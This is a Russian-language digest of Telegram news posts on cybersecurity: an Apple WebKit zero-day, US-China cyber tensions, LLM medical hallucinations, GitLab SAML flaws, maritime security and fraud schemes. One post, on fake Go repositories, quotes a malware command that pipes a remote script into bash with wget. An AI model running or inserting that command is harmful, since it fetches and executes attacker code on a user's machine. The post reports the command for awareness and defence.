Канал 🔨SecAtor — @true_secator пишет интересное:

Apple выпустила срочные исправления активно эксплуатируемой 0-day, которая могла быть использована в чрезвычайно сложных атаках в отношении узкотаргетированных целей.

Уязвимость была обнаружена в кроссплатформенном движке веб-браузера WebKit, который используется в Safari от Apple и многими другими приложениями и браузерами на macOS, iOS, Linux и Windows.

0-day отслеживается как CVE-2025-24201 и позволяет злоумышленникам выйти из «песочницы» веб-контента.

Причем ошибка, как отмечают в Купертино, «могла быть использована» в чрезвычайно сложной атаке на конкретных целевых лиц на версиях iOS до 17.2.

А вновь вышедший патч можно считать дополнительным исправлением атаки, которая ранее была заблокирована в iOS 17.2.

Компания исправила эту проблему записи за пределами выделенной памяти, улучшенными проверками для предотвращения несанкционированных действий в iOS 18.3.2, iPadOS 18.3.2, macOS Sequoia 15.3.2, visionOS 2.3.2 и Safari 18.3.1.

Список устройств, затронутых этой уязвимостью, довольно обширен и включает: iPhone XS и более поздние модели, iPad Pro 13 дюймов, 12,9 дюймов 3-го поколения, 11 дюймов 1-го поколения, iPad Air 3-го поколения , iPad 7-го поколения, iPad mini 5-го поколения и все новее, Mac под управлением macOS Sequoia и Apple Vision Pro.

Apple пока не приписала обнаружение этой уязвимости ниодному из своих исследователей и не представила подробности о «чрезвычайно сложных» атаках, с которыми она ее связала.

Но будем следить.

🇺🇸 Сенаторы-республиканцы призывают администрацию Трампа к проведению киберопераций против 🇨🇳Китая

Как cообщает NextGov, на фоне растущей напряженности в отношениях между 🇺🇸США и 🇨🇳Китаем группа американских сенаторов обратилась к президенту Дональду Трампу с призывом усилить наступательные возможности в киберпространстве в отношении китайских прогосударственных акторов. Законодатели критикуют прошлую администрацию Байдена за слабую реакцию на кибератаки, которые осуществляли китайские хакерские группировки.

По мнению сенаторов, в последние месяцы американская инфраструктура стала целью для атак со стороны группировок, таких как Salt Typhoon и Silk Typhoon, якобы поддерживаемых Китаем. По их данным, группировки успешно проникли в сети американских операторов связи и получили возможность отслеживать действия миллионов пользователей, а также перехватывать их данные. Атаки хакеров затронули сети 9 американских операторов связи.

Также в качестве одного из примеров приводится недавний взлом сети Министерства финансов США, который затронул бывшего министра финансов Джанет Йеллен.

Наибольшую обеспокоенность американских чиновников вызывает деятельность хакерской группы Volt Typhoon. По их данным, хакеры уже проникли в американскую КИИ и имеют закладки в критических объектах, которые связаны с энергетикой, водоснабжением и портами. Китай взламывает различные системы не только для шпионажа, но и для проведения возможных кибератак в будущем на американскую инфраструктуру в том случае, если начнётся конфликт на 🇹🇼Тайване. По словам советника по национальной безопасности Майка Уолтца и других чиновников, китайские хакеры заложили💣управляемые «цифровые бомбы» с отложкой в критически важных системах, чтобы в час икс парализовать США, когда начнётся возможный конфликт.

В ближайшие месяцы США могут существенно пересмотреть подходы к противодействию кибератакам, исходящим из Китая. Сенаторы в письме, не скрывая своих намерений, призывают к активному использованию ❗️наступательных возможностей, включая проведение киберопераций, направленных на нейтрализацию угроз.

Конкретные детали того, какие именно меры будут предприняты и какие 🇺🇸 ведомства возглавят "наступление" в киберпространстве, не уточняются.

Посольство 🇨🇳Китая в Вашингтоне никак не прокомментировало ситуацию, но ранее официальные лица, включая Лю Пэнъюя, неоднократно отрицали причастность Китая к кибератакам и называли раздувание "китайской угрозы" информационной войной, направленной против Поднебесной.

===

👆 Financial Times пишут, что параллельно с этим Федеральная комиссия по связи (FCC) 🇺🇸 США объявила о создании совета по национальной безопасности, который займётся противодействием кибератакам из Китая и обеспечением технологического лидерства США в таких критических областях, как искусственный интеллект, 5G и 6G, квантовые вычисления и автономные системы.

Новый совет займётся сокращением зависимости от китайских поставщиков в критически важных отраслях. Руководить советом будет Адам Чан, ранее работавший в комитете Палаты представителей по Китаю, созданном в 2023 году для анализа угроз со стороны Пекина.

Одним из первых приоритетов совета станет расследование в отношении якобы китайской хакерской кампании "Salt Typhoon", нацеленной на американский телеком.

Посольство Китая в Вашингтоне отреагировало на решение FCC критикой, заявив, что США должны «отказаться от нагнетания истерии» и вместо этого сосредоточиться на принципах взаимного уважения и сотрудничества. В условиях растущего технологического противостояния между 🇺🇸США и 🇨🇳Китаем новый совет FCC вряд ли останется просто формальностью.

✋ @Russian_OSINT

🤖Медицинские галлюцинации в больших языковых моделях (LLM) и их влияние на 🏥здравоохранение

Группа из 25 экспертов из ведущих университетов и исследовательских центров, включая 🎓MIT, Гарвардскую медицинскую школу, Университет Вашингтона, Карнеги-Меллон, Сеульский национальный университет, а также специалисты 🌐Google, попыталась изучить феномен "медицинских галлюцинаций" в LLM, чтобы понять насколько безопасен современный ИИ в здравоохранении. Можно ли полагаться на него в качестве основного помощника для врачей?

В опубликованном ресёрче «Medical Hallucinations in Foundation Models and Their Impact on Healthcare» исследователи приходят к выводу, что главная проблема сейчас даже не в самих галлюцинациях от LLM, а в отсутствии механизмов контроля за выдаваемыми результатами от ИИ, так их мало кто проверяет из медиков. Медицинские галлюцинации отличаются от типичных ошибок в других областях тем, что они имеют специализированную терминологию и порой очень логичны. Даже профессионалы иногда с трудом могут отличить где правда, а где неправильно интерпретированная информация.

👨‍🔬Опрос среди 70 опытных медицинских специалистов выявил интересные факты:
– 91,8% сталкивались с ошибками ИИ.
– 84,7% считают, что галлюцинации могут негативно повлиять на здоровье пациентов.
– 12 % врачей использовали ИИ ежедневно.
– Лишь 40 % специалистов высоко доверяют выводам ИИ.

Выводы свидетельствуют о том, что несмотря на потенциал ИИ в медицине, его широкое внедрение сопряжено с существенными рисками.

🔬 Примеры галлюцинаций:
– Модель GPT‑4o генерирует галлюцинации в 24,6% случаев при хронологическом упорядочивании событий. Это плохой показатель.
– Deepseek‑r1, o3‑mini и Gemini‑2.0‑flash демонстрируют хорошую устойчивость к галлюцинациям.
– Модели Claude‑3.5 и o1 показали 0% ошибок в диагностических задачах.

♋️Пример галлюцинаций:
Уважаемый доктор, на основании анализа МРТ головного мозга, выполненного с использованием высокоточных параметров, выявлено наличие обширного инфильтративного процесса в правой доле гиппокампа, который проявляется выраженной гиперинтенсивностью на T2‑взвешенных изображениях. Эти изменения, по всей видимости, указывают на развитие редкой аутоиммунной энцефалопатии, требующей незамедлительного вмешательства. Рекомендуется проведение анализа спинномозговой жидкости для подтверждения диагноза и незамедлительное назначение иммуносупрессивной терапии с контролем динамики изменений посредством повторного МРТ через 48 часов.

Например, модель сгенерировала ложный анализ данных с использованием специальной терминологии. Фактически ИИ дал врачу ошибочную интерпретацию. В таких случаях специалистам нужно тратить уйму времени и перепроверять ошибки ИИ.

В некоторых случаях модель уверенно может рекомендовать несуществующий препарат или прописать пациентам c аллергией☠️опасные лекарства.

🍿Для полноценного комбо не хватает этого.

Исследователи подчеркивают, что регулировать ИИ в медицине необходимо здесь и сейчас. Более того, неясно, кто несет ответственность за ошибки. Разработчик, врач или клиника? Или можно списать на бездушный ИИ, у которого возникли "технические неполадки"?

Проблему усугубляет то, что врачи ленятся и часто полагаются на результаты ИИ без должной проверки, тем самым подвергая риску пациентов.

⚙️ Для минимизации подобных ошибок рекомендуется применять комплексные подходы с использованием:
• Методов Retrieval‑Augmented Generation (RAG)
• Chain‑of‑Thought
• Оптимизации входных запросов

👨‍💻 Больше информации тут.

Признается, что отказаться от использования ИИ уже невозможно, но нужно грамотно внедрять механизмы проверки и контроля за ИИ, так он реально опасен в ежедневной практике. Модели необходимо регулярно дообучать на актуальных и проверенных медицинских данных, причём особое внимание следует уделять редким заболеваниям и региональным особенностям медицинской практики. Внедрять строгие протоколы безопасности и правила, регулирующие все аспекты использования ИИ в медицине. Проводить аудиты и привлекать экспертов для оценки выдаваемых от ИИ результатов.

✋ @Russian_OSINT

📖 GitLab устранил ↔️ критические уязвимости в аутентификации!

Компания GitLab выпустила обновления безопасности для Community Edition (CE) и Enterprise Edition (EE), устранив 9 уязвимостей, включая две критические в библиотеке ruby-saml, используемой для SAML Single Sign-On (SSO).

Все недостатки были устранены в версиях GitLab CE/EE 17.7.7, 17.8.5 и 17.9.2. Все предыдущие версии остаются уязвимыми. GitLab уже обновлён, а клиенты GitLab Dedicated получат уведомление после обновления их инстанса. Пользователи, использующие самостоятельно управляемые инсталляции на собственной инфраструктуре, должны обновиться вручную.

⬇️ CVE-2025-25291 (ruby-saml) – критическая
⬇️ CVE-2025-25292 (ruby-saml) – критическая
⬇️ CVE-2025-27407 (graphql) – уязвимость высокой степени опасности

Основные уязвимости CVE-2025-25291 и CVE-2025-25292 позволяют атакующему, имеющему доступ к подписанному SAML-документу, выдавать себя за другого пользователя в рамках одного Identity Provider (IdP). Это создает риск несанкционированного доступа, компрометации данных и эскалации привилегий.

Дополнительно исправлена уязвимость CVE-2025-27407 (RCE). Злоумышленник с учетной записью в системе мог использовать функцию Direct Transfer, чтобы выполнить код на удалённом сервере. Функция отключена по умолчанию, но при включении может представлять угрозу.

Если обновление пока невозможно, то рекомендуется:

✔️ Включить двухфакторную аутентификацию (2FA) для всех пользователей. Обратите внимание, что MFA на уровне провайдера идентификации не поможет решить эту проблему.
✔️ Отключить обход двухфакторной аутентификации для SAML.
✔️ Запретить автоматическое создание учетных записей без одобрения администратора (gitlab_rails['omniauth_block_auto_created_users'] = true).

🛡 Но эти меры лишь временные, и обновление до 17.9.2, 17.8.5 или 17.7.7 остаётся единственным надежным способом защиты.

Обновиться:
https://about.gitlab.com/update/

✋ @Russian_OSINT

👀 Канал 🔨SecAtor:

Нам тут пишут, что в офисе российской компании AVSoft, которая, как понятно из названия, занимается разработкой антивирусных решений, прошли обыски в связи с уголовным делом по статье "Нарушение авторских прав".

Достоверно неизвестно что конкретно нарушили молодые и таланливые программисты из AVSoft, продукты которой входят в российский аналог VirusTotal, проект Национальный мультисканер (придумали же название, уж лучше тогда окрестили бы Российским турбоантивирусом). Но, учитывая то, как они демпинговали со своими АВ-решениями, мы, кажется, догадываемся.

Продолжаем наблюдать.

🛸 Рой дронов.

😮 Впечатляет.

✋ @Russian_OSINT

🛳"Эй, моряк, ты слишком долго плавал..."

📖🙂Нашёл кое-что интересное по морской ИБ-тематике.

Свежий отчет, подготовленный Thetius, DNV’s CyberOwl и международной юридической фирмой HFW, выявил большие пробелы в понимании судовладельцев того, что из себя представляет кибербезопасность в 2025. Оказалось, что лишь 1 из 6 владельцев морских судов в полной мере осознает понятие "кибербезопасность в море" и как правильно начать эксплуатировать судно по фэншую с точки зрения ИБ.

Документ под названием 📄 «Дилемма жизненного цикла: управление рисками кибербезопасности на этапах проектирования, строительства и эксплуатации судна» анализирует риски и разрозненные подходы к кибербезопасности на всех этапах жизненного цикла судна. В нём рассматриваются ключевые моменты судостроительной отрасли, мифы и заблуждения, связанные с кибербезопасностью .

В отчёте собраны мнения более 🚢150 экспертов, включая судовладельцев, операторов, производителей судового оборудования (OEM), моряков, страховщиков, представителей портов и экспертов по кибербезопасности. Он дает подробный анализ текущих и будущих угроз, а также оценивает готовность отрасли к выполнению новых нормативных требований и адаптации к технологическим изменениям.

📊Ключевые выводы исследования:

💠Доля судоходных компаний, которые выплачивают выкуп киберпреступникам, сократилась вдвое — с 14% до 7% за последние 12 месяцев.
💠Компании стали чаще отказываться от больших выкупов: средний размер выплаты снизился с $3,2 млн до $100 000.
💠17% судостроительных верфей заявляют, что обладают достаточной экспертизой в области кибербезопасности для проектирования и строительства защищённых судов​.
💠 Лишь 10% OEM-производителей внедряют концепцию security-by-design в новые системы. Остальные остаются уязвимыми перед потенциальными киберугрозами.
💠Только 32% судовладельцев учитывают фактор кибербезопасности при формировании команд, отвечающих за строительство новых судов. При этом в небольших компаниях за кибербез отвечают неподготовленные сотрудники​.
💠93% экипажей чувствуют себя неподготовленными к реагированию на современные киберугрозы.
💠70% считают, что ситуацию можно изменить к лучшему с помощью тренингов по кибербезопасности.
💠46% судостроительных верфей обеспокоены нехваткой знаний и навыков для проектирования и строительства защищённых судов​.

Партнер HFW Том Уолтерс
«Каждая пятая судоходная компания подверглась кибератаке за последние 12 месяцев, что делает наш отчет как никогда актуальным. Судоходная отрасль все больше полагается на цифровые технологии, что неизбежно повышает риски со стороны злоумышленников. Компании, работающие на всех этапах жизненного цикла судов, должны предпринять решительные шаги для защиты своих активов».

Генеральный директор CyberOwl Дэниел Нг
«Наше исследование показывает, что мы вступаем в эпоху экспертных решений. Разовые меры по обеспечению кибербезопасности больше не работают. Угрозы эволюционируют на каждом этапе жизненного цикла судов, а регуляторы требуют комплексного подхода. Теперь как никогда важно, чтобы судовладельцы принимали правильные решения, основанные на знаниях, ведь ошибки, допущенные на этапе проектирования, могут серьезно повлиять на стоимость эксплуатации судна».

Основной вывод: без комплексного подхода к киберзащите на всех этапах жизненного цикла судна (строительство и ввод в эксплуатацию) избежать рисков невозможно. И в реальной ситуации когда происходит кибератака — планы реагирования часто оказываются нерабочими из-за отсутствия координации между экипажем, а также IT-службами на берегу​.

👆 Примечательно, что 60% всех киберинцидентов на судах связаны с вредоносным 🦠ПО (малварью). А из этих 60%, 77% происходят по причине использования 🤌 USB и других внешних устройств. Другими словами, подавляющее большинство вредоносных программ попадает на судно через флеш-накопители, внешние жесткие диски, ноутбуки инженеров и другие съемные носители.

✋ @Russian_OSINT

🍿Кто-то решил почувствовать себя в роли главного героя видеоигры Watch Dogs.

💻В сети появилось видео, где исследователь демонстрирует перехват хэндшейка 🖥WPA2 с помощью смарт-часов TicWatch Pro 3 и Kali NetHunter. Трюк выполнялся со стареньким роутером TP-Link.

А-ля панагочи на смарт-часах.

🛡 Базовые меры защиты: Wi-Fi пароль должен быть длинным (не менее 16 символов), отключение WPS на роутере, фильтрация MAC-адресов, периодическая смена пароля, регулярное обновление прошивки, WIDS и мониторинг сети.

✋ @Russian_OSINT

📄 Ландшафт угроз для систем промышленной автоматизации. Четвертый квартал 2024 — регионы.

👉 Источник: Kaspersky ICS CERT

✋ @Russian_OSINT

🥷 ❗️Мошенники начали охотиться за биометрией россиян

Как рассказали ТАСС в 🇷🇺 МВД, мошенники под разными предлогами стали ✋звонить людям по видеосвязи с целью записи голоса, получения других биометрических данных, которые потом используют для списания средств в банке.

Мошенники могут звонить под предлогом проверки качества связи якобы от оператора, предлагать услуги или товары, проводить мнимые опросы. При этом человеку задают вопросы, а он на них отвечает. Задача мошенников заполучить запись голоса абонента с ключевым словом ⚠️"да", - говорится в материалах.

🤖 Поскольку некоторые банки уже ввели, а многие только вводят биометрическую идентификацию клиентов, записанные во время разговоры голос человека и его лицо, позволяет мошенникам совершить хищение денег.

🤿"Записанное мошенниками слово "да" и другие фразы они могут ◀️ использовать при биометрической идентификации якобы согласием абонента на списание средств", — пояснили в ведомстве.

====

В связи с появившейся схемой мошенничества в МВД призвали к осторожности при звонках с неизвестных номеров. Если их избежать не удалось, то лучше следить за своей речью и не произносить "ключевые фразы" и не говорить "да", советуют в ведомстве. "Лучше сразу же завершить такой разговор", - говорится в материалах киберполиции.

✋ @Russian_OSINT

🇺🇸 Конгрессмены-республиканцы запросили документы от DHS по 🇨🇳 китайским киберугрозам Volt Typhoon и Salt Typhoon

Республиканцы из Комитета по внутренней безопасности Палаты представителей требуют от 👮Министерства внутренней безопасности (DHS) США раскрыть внутренние документы, касающиеся кибершпионских группировок Volt Typhoon и Salt Typhoon, связанных якобы с правительством 🇨🇳Китая. В понедельник комитет отправил запрос главе DHS Кристи Ноэм, требуя все документы, связанные с деятельностью этих групп с начала президентства Байдена. Администрацию Байдена критикуют за недостаточную прозрачность и вялую реакцию на эти кибератаки.

По данным разведки США, Volt Typhoon якобы в течение как минимум 5 лет взламывали системы КИИ и объекты гражданской инфраструктуры. Разговоры снова не обошли стороной телеком:

Якобы китайские хакеры могли даже прослушивать разговоры высокопоставленных чиновников, включая президента США Дональда Трампа и Джей Ди Вэнса.

Комитет по национальной безопасности выразил обеспокоенность тем, что администрация Байдена не обеспечила достаточную прозрачность в расследовании этих атак. Законодатели также требуют от DHS предоставить информацию о том, когда именно CISA впервые узнала о группах Volt Typhoon и Salt Typhoon, а также хронологию ответных действий в отношении хакеров. Все необходимые документы DHS должны быть переданы комитету до 31 марта 2025 года.

😱 Республиканцы на прошлой неделе обратились к 🇺🇸 администрации Трампа с требованием усилить потенциал возможностей по проведению киберопераций против Китая.

✋ @Russian_OSINT

🥷❗️Массовая атака на Go-разработчиков через поддельные GitHub-репозитории

В сообществе Go-разработчиков случился неприятный инцидент. Представители популярного проекта Atlas заметили, что злоумышленники "клонировали" один из их репозиториев на GitHub (GORM Provider), накрутили ⭐️ звёзды с помощью фейковых аккаунтов и 🦠внедрили вредоносный код, который выполняется при запуске. Проблема оказалась масштабнее, чем предполагалось изначально. В сети обнаружены десятки других репозиториев, использующих аналогичный метод атаки.

Поддельный репозиторий — ↔️ https://github[
.]com/readyrevena/atlas-provider-gorm (удалён) содержал скрытый код, загружающий и исполняющий вредоносный Bash-скрипт с удалённого сервера через команду:

wget -O - https://reque***ne.fun/storage/de373d0df/a31546bf | /bin/bash &

Ззлоумышленники потенциально могут выполнить код на машине разработчика: установить вредоносное ПО, шпионские программы или 🔒 шифровальщики. Исследователи безопасности обнаружили более 690 потенциально опасных репозиториев, получивших звёзды от фейковых аккаунтов, включая:

https://github.com/esteemedpar/guetzli-go (удалено)
https://github.com/closeddigit/macos-totp-cli (удалено)
https://github.com/frillymacaro/ai-search4ai-go (удалено)

и множество других.

Замечены вредоносные клоны: kubernixos, shelly-bulk-update, terraform-provider-atlas, gonet.

Ещё проблема состоит в том, что Go-разработчики часто устанавливают зависимости через go get <URL>, что делает возможным случайное добавление поддельного пакета в проект. В отличие от экосистемы npm или PyPI, у Go отсутствует централизованный механизм валидации пакетов.

🛡 Звучат различные идеи по улучшению безопасности:

1️⃣ Одобрение модулей перед публикацией (Modules Approval Process).
2️⃣ Введение доверенных издателей (Trusted Publishers).
3️⃣ Ограничения на установку неподтвержденных пакетов в go.mod.
4️⃣ Автоматическая проверка пакетов на вредоносный код в Go Proxy.
5️⃣ Более оперативное удаление вредоносных пакетов и форков на GitHub.
6️⃣ Создание инструментов для анализа зависимостей (аналог npm audit).

👆 Сообщество начало активно репортить вредоносные репозитории в саппорт GitHub. Microsoft пока только частично приняла меры по удалению репозиториев с сюрпризом. Некоторые всё ещё остаются доступны.

✋ @Russian_OSINT

🧑‍🎓🇺🇸 Студенты Стэнфорда устремились в военную сферу, позабыв о Кремниевой долине

Всего несколько лет назад работа в оборонной индустрии считалась среди студентов Стэнфорда не просто непопулярной, а почти «запятнанной». Однако ситуация cо временем резко изменилась благодаря усилиям государства. Теперь выпускники престижного университета все чаще выбирают карьеру в национальной безопасности, а стартапы в сфере военных технологий переживают настоящий бум.

Переломный момент для многих студентов наступил в 2022 году с курсом «Шпионы, ложь и алгоритмы», после которого интерес к оборонным технологиям резко возрос. Студентка факультета политологии Дивья Ганесан раньше смотрела на контракты с военными довольно скептически, но сейчас активно работает в этом направлении. Она основала студенческую организацию Stanford Women in National Security и стажировалась в АНБ , а также СISA. Сегодня многие её друзья работают в Palantir, который с приходом Дональда Трампа снова чувствует себя как рыба в воде.

Интерес студентов к военным технологиям резко возрос. Утверждается, что многие бросают учебу ради стартапов в оборонке и стремятся попасть в Palantir, Anduril и так далее. Программа "Взлом ради обороны", где студенты решают задачи военных, стала одной из самых популярных универе. В 2021 году университет открыл финансируемый ВМС США центр Gordian Knot, чтобы координировать работу в этом направлении.

Влияние войны на Украине и роста напряженности с 🇨🇳Китаем ощущается повсюду.

"США десятилетиями доминировали в мире, но Китай показывает взрывной рост, и теперь мы можем проиграть. Это вопрос экзистенциальный"

— говорит бывший студент Эндрю Фанг, который ради оборонного стартапа ушел из университета раньше на два года.

Инвесторы тоже не остаются в стороне. Вложения венчурного капитала в оборонные стартапы выросли в 10 раз с 2019 года, достигнув $3 млрд в 2024 году.

"Если что-то вспыхнет в Тихоокеанском регионе, то деньги польются рекой, как это было в Ираке и Афганистане"

— говорит один из студентов Стэнфорда.

Профессор Терри Виноград, известный своими антивоенными взглядами, обеспокоен тем, что растущий интерес к оборонной сфере может быть продиктован желанием инвесторов 👹 извлекать максимальную прибыль из будущих конфликтов, чем реальной необходимостью. Критики также указывают на возможные последствия тесного слияния частного сектора с военными, так как это может привести к геополитической эскалации и глобальной нестабильности.

Если раньше мечтой выпускников были Google и запрещенная в РФ Meta, то теперь их внимание приковано к технологиям, которые определяют будущее войн и национальной безопасности США.

✋ @Russian_OSINT

🇷🇺 Государственная Дума приняла в первом чтении законопроект, направленный на защиту граждан от телефонных мошенников и кибермошенников

Как сообщается на сайт duma.gov.ru, рассмотрение во втором чтении должно быть в приоритетном порядке, подчеркнул в ходе пленарного заседания Председатель ГД Вячеслав Володин. Он сообщил, что оно может состояться уже 25 марта.

Законопроектом, в частности, закрепляется возможность онлайн-обмена информацией между государственными органами, банками и цифровыми платформами. В пояснительной записке к документу отмечено, что автоматический мониторинг позволит практически моментально выявлять подозрительные действия, блокировать их и уведомлять правоохранительные органы о потенциальных преступлениях.

Кроме этого, инициативой:

💠вводится обязательная маркировка звонков от организаций и вызовов с международных номеров;

💠предлагается запретить сотрудникам государственных органов, банков и операторов связи и иным субъектам общаться с гражданами и клиентами через мессенджеры;

💠предлагается создать информационную антифрод-платформу, на которой будут храниться образцы голосов тех, кто использует доверие граждан в корыстных целях;

💠устанавливается запрет на передачу сим-карт третьим лицам;

💠для граждан вводится возможность установления запрета на заключение договоров об оказании услуг подвижной радиотелефонной связи без личного присутствия (запрет можно будет установить через портал «Госуслуги» или при обращении в МФЦ, а снять – только при личном посещении МФЦ).

Предусмотрены и иные нововведения, направленные на защиту от противоправных деяний, совершаемых с использованием информационных технологий. Законопроект объединил около 30 мер борьбы с мошенниками.

✋ @Russian_OSINT